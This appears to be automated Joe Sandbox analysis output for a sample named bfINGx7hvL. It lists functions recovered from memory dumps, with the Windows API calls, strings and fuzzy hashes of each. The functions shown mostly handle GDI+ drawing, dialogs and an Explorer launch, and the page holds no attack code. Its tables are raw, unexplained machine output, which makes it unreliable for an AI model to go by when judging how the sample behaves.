Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: @[$DwmEnableComposition$DwmExtendFrameIntoClientArea$DwmSetWindowAttribute$Dwmapi.dll
API String ID: 2238633743-2065916801
Opcode ID: 20efdd21f22bce50ed8309cc7d8d424ddc0757134462b64042f10ba2789c9e79
Instruction ID: 758a266aad549dc443860feb06a9b5d9908e91e524c95404062e84539075d43a
Opcode Fuzzy Hash: 20efdd21f22bce50ed8309cc7d8d424ddc0757134462b64042f10ba2789c9e79
Instruction Fuzzy Hash: 34F01C74E41355AADF506F36AC1A4853FF8B72970035C0B27A804B3260FBB4A448EF57

Function 00431360 Relevance: 15.2, APIs: 10, Instructions: 199sleepCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(00000000), ref: 004313A4

Part of subcall function 004CB410: GdipSetSmoothingMode.GDIPLUS(?,00000003,?,lB,0056CE40,?,?,?,?,0042E96C,?,?), ref: 004CB477

__CxxThrowException@8.LIBCMT ref: 004313F8

Part of subcall function 00502BEB: RaiseException.KERNEL32(?,?,B681F143,005A7F20,?,?,?,?,?,004FFD4E,B681F143,005A7F20,?,00000001), ref: 00502C40

QueryPerformanceFrequency.KERNEL32(?,0053E548,000000FF), ref: 0043140B
QueryPerformanceCounter.KERNEL32(?), ref: 00431439
QueryPerformanceCounter.KERNEL32(?), ref: 0043143F
GetDC.USER32 ref: 0043150C
UpdateLayeredWindow.USER32(?,00000000,?,?,?,00000000,00000000,00000000,00000002), ref: 00431535
ReleaseDC.USER32(00000000,00000000), ref: 0043153E
Sleep.KERNEL32(0000000A), ref: 00431546
QueryPerformanceCounter.KERNEL32(?), ref: 00431550

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: PerformanceQuery$Counter$Window$ExceptionException@8FrequencyGdipLayeredModeRaiseRectReleaseSleepSmoothingThrowUpdate
String ID:
API String ID: 647198111-0
Opcode ID: 96f2cfd042a5900a28ded7a8662c8d404411b6d86c7475caafb7818d653a449f
Instruction ID: fea068c4364ea2304a375a6ee7bc06aea74c7dd64ec75d3df016ab5795cc0e07
Opcode Fuzzy Hash: 96f2cfd042a5900a28ded7a8662c8d404411b6d86c7475caafb7818d653a449f
Instruction Fuzzy Hash: 2F91237590020D9FDB11DFA8D858BEEBBB9FF48300F10422AE915B7261DB35A949CF50

Function 0041E2B0 Relevance: 15.2, APIs: 10, Instructions: 179COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0041E2E0
GdipCreateFromHDC.GDIPLUS(00000000,?), ref: 0041E2FE
GdipCreateStringFormat.GDIPLUS(00000000,00000000,?), ref: 0041E32D
GdipMeasureString.GDIPLUS(?,?,000000FF,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041E3C1
GdipMeasureString.GDIPLUS(00000000,?,000000FF,00000000,00000000,00000000,00000000,?,?), ref: 0041E436
GdipGetFontHeightGivenDPI.GDIPLUS(?,?,00000000), ref: 0041E4BF
GdipGetFontHeightGivenDPI.GDIPLUS(?,?,00000000), ref: 0041E4F9
ReleaseDC.USER32(00000000,00000000), ref: 0041E529
GdipDeleteStringFormat.GDIPLUS(?,?,00000000), ref: 0041E538
GdipDeleteGraphics.GDIPLUS(?,?,00000000), ref: 0041E54A

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$String$CreateDeleteFontFormatGivenHeightMeasure$FromGraphicsRelease
String ID:
API String ID: 2359815219-0
Opcode ID: 585e7a93bd58001904740ac3a91bdceba3dfd91d643e846050f90aceca192211
Instruction ID: 09d8ae3e237c4575dbacd8db9b975f17c591a55f032f9cd3dc16601ab6b94f48
Opcode Fuzzy Hash: 585e7a93bd58001904740ac3a91bdceba3dfd91d643e846050f90aceca192211
Instruction Fuzzy Hash: B88166B1508301EFD311CF25C844B5ABBE4FF99714F104B1DF995A62A0E771A888DF92

Function 00419760 Relevance: 15.2, APIs: 10, Instructions: 176COMMON

Download Yara Rule

APIs

GdipCreateStringFormat.GDIPLUS ref: 00419802
GdipSetStringFormatAlign.GDIPLUS(?,00000000), ref: 0041981D
GdipSetStringFormatLineAlign.GDIPLUS(?,00000000), ref: 00419836
GdipSetStringFormatTrimming.GDIPLUS(?,00000004), ref: 0041984F
GdipSetStringFormatFlags.GDIPLUS(?,00001000), ref: 0041986B
GdipMeasureString.GDIPLUS(?,?,000000FF,00000000,?,00000000,?,?,00000000), ref: 004198AE
GdipCreateSolidFill.GDIPLUS(FF414141,B681F143,?,000000FF,00000000,?,00000000,?,?,00000000), ref: 004198ED
GdipDrawString.GDIPLUS(?,?,000000FF,00000000,00000000,?,B681F143,?,000000FF,00000000,?,00000000,?,?,00000000), ref: 00419970
GdipDeleteBrush.GDIPLUS(B681F143,?,?,?,?,00000000,?,?,000000FF,00000000,?,00000000,?,?,00000000), ref: 004199D1
GdipDeleteStringFormat.GDIPLUS(?,?,?,?,?,00000000,?,?,000000FF,00000000,?,00000000,?,?,00000000), ref: 004199E6

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$String$Format$AlignCreateDelete$BrushDrawFillFlagsLineMeasureSolidTrimming
String ID:
API String ID: 3860206108-0
Opcode ID: 72c8353d38246cf214f3c896df47ffc54ca75d197caa8221dc247120b4e1eade
Instruction ID: 82aa97e7e2b9b2b851f263c426e3dbaf2b95d9476accf6596981ef5f21f49aac
Opcode Fuzzy Hash: 72c8353d38246cf214f3c896df47ffc54ca75d197caa8221dc247120b4e1eade
Instruction Fuzzy Hash: 2B7164B1618341AFE315CF25C894B1BBBF4FF99354F104A1DF895A22A0E770E888DB52

Function 004710E0 Relevance: 15.1, APIs: 10, Instructions: 140COMMON

Download Yara Rule

APIs

Part of subcall function 00470FB0: EnterCriticalSection.KERNEL32(005BDCE4,?,00000000,00000000,00471119,B681F143,?,?,00000000,?,?,?,?,00545070,000000FF), ref: 00470FC0
Part of subcall function 00470FB0: LeaveCriticalSection.KERNEL32(005BDCE4,?,00000000,00000000,00471119,B681F143,?,?,00000000,?,?,?,?,00545070,000000FF), ref: 00470FD8
Part of subcall function 00470FB0: EnterCriticalSection.KERNEL32(005BDCE4,00000000,Button,00000138,HYPERLINK,?,00000000,00000000,00471119,B681F143,?,?,00000000), ref: 00471005
Part of subcall function 00470FB0: LeaveCriticalSection.KERNEL32(005BDCE4,?,00000000,00000000,00471119,B681F143,?,?,00000000,?,?,?,?,00545070,000000FF), ref: 00471017
Part of subcall function 00470FB0: EnterCriticalSection.KERNEL32(005BDCE4,00000000,Button,00000118,HYPERLINK,?,00000000,00000000,00471119,B681F143,?,?,00000000), ref: 00471044
Part of subcall function 00470FB0: LeaveCriticalSection.KERNEL32(005BDCE4,?,00000000,00000000,00471119,B681F143,?,?,00000000,?,?,?,?,00545070,000000FF), ref: 00471056

GetDC.USER32(00000000), ref: 0047112C
GdipCreateFromHDC.GDIPLUS(00000000,004265D4,?,?,00000000,?,?,?,?,00545070,000000FF), ref: 00471149
GdipCreateStringFormat.GDIPLUS(00000000,00000000,00000000,?,?,00000000), ref: 00471193
GdipSetTextRenderingHint.GDIPLUS(00000000,00000005,?,?,00000000), ref: 004711A3
GdipMeasureString.GDIPLUS(00000000,00000000,000000FF,00000000,?,00000000,00000000,?,?,?,?,00000000), ref: 004711D8
ReleaseDC.USER32(00000000,00000000), ref: 004711EB
GdipDeleteStringFormat.GDIPLUS(00000000,00000001,?,?,?,00000000,00000000,00000001,00000001,00000001,?,?,00000000), ref: 00471250
GdipDeleteGraphics.GDIPLUS(00000000,?,?,00000000), ref: 0047125E
GdipDeleteStringFormat.GDIPLUS(00000000,00000001,?,?,?,00000000,00000000,00000001,00000001,00000001,?,?,00000000), ref: 00471284
GdipDeleteGraphics.GDIPLUS(00000000,?,?,00000000), ref: 00471292

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$CriticalSection$DeleteString$EnterFormatLeave$CreateGraphics$FromHintMeasureReleaseRenderingText
String ID:
API String ID: 1338920557-0
Opcode ID: d95156ea57c9d7808e110d15ca985729e7fac2c7c35a35337629e3649b75d5a8
Instruction ID: 4db55db421839a4f1f7ea1671b78e7f67187b6ba5581c9a9af02339a1d8ca7ab
Opcode Fuzzy Hash: d95156ea57c9d7808e110d15ca985729e7fac2c7c35a35337629e3649b75d5a8
Instruction Fuzzy Hash: 77517A71A00209EFDB11CFA8DC59BEEBBB4FB19314F10821AF915B62A0E7759904DB60

Function 0041A670 Relevance: 15.1, APIs: 6, Strings: 4, Instructions: 78COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(005BDCE4,?,?,?,0041A57C), ref: 0041A680
LeaveCriticalSection.KERNEL32(005BDCE4,?,?,?,0041A57C), ref: 0041A698
EnterCriticalSection.KERNEL32(005BDCE4,00000000,TitleBar,?,DRIVE_LIST,?,?,?,0041A57C), ref: 0041A6C5
LeaveCriticalSection.KERNEL32(005BDCE4,?,?,?,0041A57C), ref: 0041A6D7

Part of subcall function 004C24A0: WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,?, v,00000000,00000000,00000000,?,00000000,?,00000003,?,00583B28,00000000), ref: 004C2699

EnterCriticalSection.KERNEL32(005BDCE4,00000000,TitleBar,?,DRIVE_LIST,?,?,?,0041A57C), ref: 0041A704
LeaveCriticalSection.KERNEL32(005BDCE4,?,?,?,0041A57C), ref: 0041A716

Strings

TitleBar, xrefs: 0041A6AC, 0041A6EB, 0041A72A
CR_BACKGROUND_END, xrefs: 0041A762
CR_BACKGROUND_BEGIN, xrefs: 0041A74C
DRIVE_LIST, xrefs: 0041A6A6, 0041A6E5, 0041A724

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ByteCharMultiWide
String ID: CR_BACKGROUND_BEGIN$CR_BACKGROUND_END$DRIVE_LIST$TitleBar
API String ID: 904232820-887086326
Opcode ID: fb6bee19645a3d5686921632b893275be9081d7dd99eb4585fd1bc1993618d7e
Instruction ID: 79ea068261a043cbfaa6fc1e4640479fbfa165a81fd4abad349106ecbc512596
Opcode Fuzzy Hash: fb6bee19645a3d5686921632b893275be9081d7dd99eb4585fd1bc1993618d7e
Instruction Fuzzy Hash: B0216074382302ABD664A775DD82FE77BA4BF10745F04042EBA59D31C0FAA4F845C726

Function 00450130 Relevance: 15.1, APIs: 6, Strings: 4, Instructions: 73COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(005BDCE4,00000000,?,?,00450438,B681F143,?,?,?,?,00541940,000000FF,?,004B03AA), ref: 00450140
LeaveCriticalSection.KERNEL32(005BDCE4,?,?,?,?,00541940,000000FF,?,004B03AA), ref: 00450158
EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,REGISTER,?,?,?,?,00541940,000000FF,?,004B03AA), ref: 00450185
LeaveCriticalSection.KERNEL32(005BDCE4,?,?,?,?,00541940,000000FF,?,004B03AA), ref: 00450197

Part of subcall function 004C24A0: WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,?, v,00000000,00000000,00000000,?,00000000,?,00000003,?,00583B28,00000000), ref: 004C2699

EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,REGISTER,?,?,?,?,00541940,000000FF,?,004B03AA), ref: 004501C0
LeaveCriticalSection.KERNEL32(005BDCE4,?,?,?,?,00541940,000000FF,?,004B03AA), ref: 004501D2

Strings

REGISTER, xrefs: 00450166, 004501A5, 004501E0
PM_WIDTH, xrefs: 004501F6
PM_HEIGHT, xrefs: 0045020C
Dialog, xrefs: 0045016C, 004501AB, 004501E6

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ByteCharMultiWide
String ID: Dialog$PM_HEIGHT$PM_WIDTH$REGISTER
API String ID: 904232820-2885144559
Opcode ID: 1232f653f064cc69b446d0000a521427d6d026b350b09f417f6c11c5db8e2fc4
Instruction ID: 1795d43d4a07bf36addd6cc27d5771d0a641f7eb05ceb74cf415dbd9cb5915ab
Opcode Fuzzy Hash: 1232f653f064cc69b446d0000a521427d6d026b350b09f417f6c11c5db8e2fc4
Instruction Fuzzy Hash: 8D216274385706ABD610E7B69C96FA66BE8FB54706F04042EB649D32C1EEE4F804DB24

Function 00415540 Relevance: 15.1, APIs: 6, Strings: 4, Instructions: 73COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(005BDCE4,?,?,?,004026D0,B681F143), ref: 00415550
LeaveCriticalSection.KERNEL32(005BDCE4,?,?,?,004026D0,B681F143), ref: 00415568
EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,PASSWORD,?,?,?,004026D0,B681F143), ref: 00415595
LeaveCriticalSection.KERNEL32(005BDCE4,?,?,?,004026D0,B681F143), ref: 004155A7

Part of subcall function 004C24A0: WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,?, v,00000000,00000000,00000000,?,00000000,?,00000003,?,00583B28,00000000), ref: 004C2699

EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,PASSWORD,?,?,?,004026D0,B681F143), ref: 004155D0
LeaveCriticalSection.KERNEL32(005BDCE4,?,?,?,004026D0,B681F143), ref: 004155E2

Strings

PM_WIDTH, xrefs: 00415606
PASSWORD, xrefs: 00415576, 004155B5, 004155F0
PM_HEIGHT, xrefs: 0041561C
Dialog, xrefs: 0041557C, 004155BB, 004155F6

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ByteCharMultiWide
String ID: Dialog$PASSWORD$PM_HEIGHT$PM_WIDTH
API String ID: 904232820-3657400423
Opcode ID: 3925b9ec2e7c7eb30c46bdd1711993fd484669aaaedef7c9b298f213384a2b00
Instruction ID: 89e29c91ffdbc22f58892ef3380fc42036552decf4919217867b5359a2a5851f
Opcode Fuzzy Hash: 3925b9ec2e7c7eb30c46bdd1711993fd484669aaaedef7c9b298f213384a2b00
Instruction Fuzzy Hash: 27218470384706ABDA10E7768E96FE2ABE4BB50706F40042AB64DD32D0EEF4F805C765

Function 00406600 Relevance: 15.1, APIs: 6, Strings: 4, Instructions: 73COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(005BDCE4), ref: 00406610
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 00406628
EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,CHANGE_KEY_FILE), ref: 00406655
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 00406667

Part of subcall function 004C24A0: WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,?, v,00000000,00000000,00000000,?,00000000,?,00000003,?,00583B28,00000000), ref: 004C2699

EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,CHANGE_KEY_FILE), ref: 00406690
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 004066A2

Strings

CHANGE_KEY_FILE, xrefs: 00406636, 00406675, 004066B0
PM_WIDTH, xrefs: 004066C6
PM_HEIGHT, xrefs: 004066DC
Dialog, xrefs: 0040663C, 0040667B, 004066B6

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ByteCharMultiWide
String ID: CHANGE_KEY_FILE$Dialog$PM_HEIGHT$PM_WIDTH
API String ID: 904232820-3629064023
Opcode ID: 0434f81e81c725c262128711de64b71d0b08566e8f60fb831b876a1d675a260b
Instruction ID: b3a5dc42ddd407f53cb05a4efa2dc0af8bb578841b7104e5456df8250465188e
Opcode Fuzzy Hash: 0434f81e81c725c262128711de64b71d0b08566e8f60fb831b876a1d675a260b
Instruction Fuzzy Hash: 152150703847026BDA50E776CD96FA26BE8BB00B46F04043EB689D32D1EEE4B800C725

Function 004331B0 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

GdipCreateStringFormat.GDIPLUS(00000000,00000000,00000000,B681F143), ref: 004331E9

Part of subcall function 004CBC00: GdipCreateSolidFill.GDIPLUS(?,FFFFFFFF), ref: 004CBC55
Part of subcall function 004CBC00: GdipFillRectangle.GDIPLUS(?,00000000), ref: 004CBCAB
Part of subcall function 004CBC00: GdipDeleteBrush.GDIPLUS(00000000), ref: 004CBCC7

Part of subcall function 004CB9E0: GdipCreatePen1.GDIPLUS(B681F143,B681F143,00000000,B681F143), ref: 004CBA22
Part of subcall function 004CB9E0: GdipSetPenDashStyle.GDIPLUS(00000000,?), ref: 004CBA38
Part of subcall function 004CB9E0: GdipDrawRectangle.GDIPLUS(?,?), ref: 004CBA8B
Part of subcall function 004CB9E0: GdipDeletePen.GDIPLUS(?), ref: 004CBAA2

GdipSetSmoothingMode.GDIPLUS(?,00000002,?,0000000E,00000014,000000FF,?,00000041,00000017,?,00000064,?,FF414141), ref: 0043329C
GdipSetStringFormatAlign.GDIPLUS(?,00000001), ref: 004332B3
GdipSetSmoothingMode.GDIPLUS(?,00000003,?,00000000,0000009B,?,?,FF414141), ref: 004333D3
GdipDrawImage.GDIPLUS(?,00000000,?,?,?,?,?,FF800000,&1C), ref: 0043344C
GdipDrawImage.GDIPLUS(?,00000000,?,?,?,?,?,?,?,FF800000,&1C), ref: 00433495
GdipDeleteStringFormat.GDIPLUS(?,?,?,?,?,?,?,?,FF800000,&1C), ref: 004334AC

Strings

&1C, xrefs: 004331FC

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$CreateDeleteDrawFormatString$FillImageModeRectangleSmoothing$AlignBrushDashPen1SolidStyle
String ID: &1C
API String ID: 1440256547-3926521048
Opcode ID: 047926612a78ebb6fd7e44dd68211650be52230eac5ff03b792717a8f63b8e49
Instruction ID: 74fa3053ec13297bfe3fdf984fd85f900a1049ffd97a30dd2928f0e2f41cc866
Opcode Fuzzy Hash: 047926612a78ebb6fd7e44dd68211650be52230eac5ff03b792717a8f63b8e49
Instruction Fuzzy Hash: 5FA16C75600609EFDB15CF64CC85FAABBB9EF48315F00821EF9269B290DB74AA04DF54

Function 004AE210 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 222COMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32(00000000,OPEN,Explorer,00000038,0056C344,00000005), ref: 004AE35D
ShellExecuteW.SHELL32(00000000,OPEN,Explorer,0054A318,0056C344,00000005), ref: 004AE3B0
ShellExecuteW.SHELL32(00000000,OPEN,Explorer,0054A318,0056C344,00000005), ref: 004AE456
ShellExecuteW.SHELL32(00000000,OPEN,Explorer,?,0056C344,00000005), ref: 004AE4E8

Strings

!@, xrefs: 004AE40F
/select,"%s", xrefs: 004AE383, 004AE429
OPEN, xrefs: 004AE356, 004AE3A9, 004AE44F, 004AE4E1
Explorer, xrefs: 004AE351, 004AE3A4, 004AE44A, 004AE4DC

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
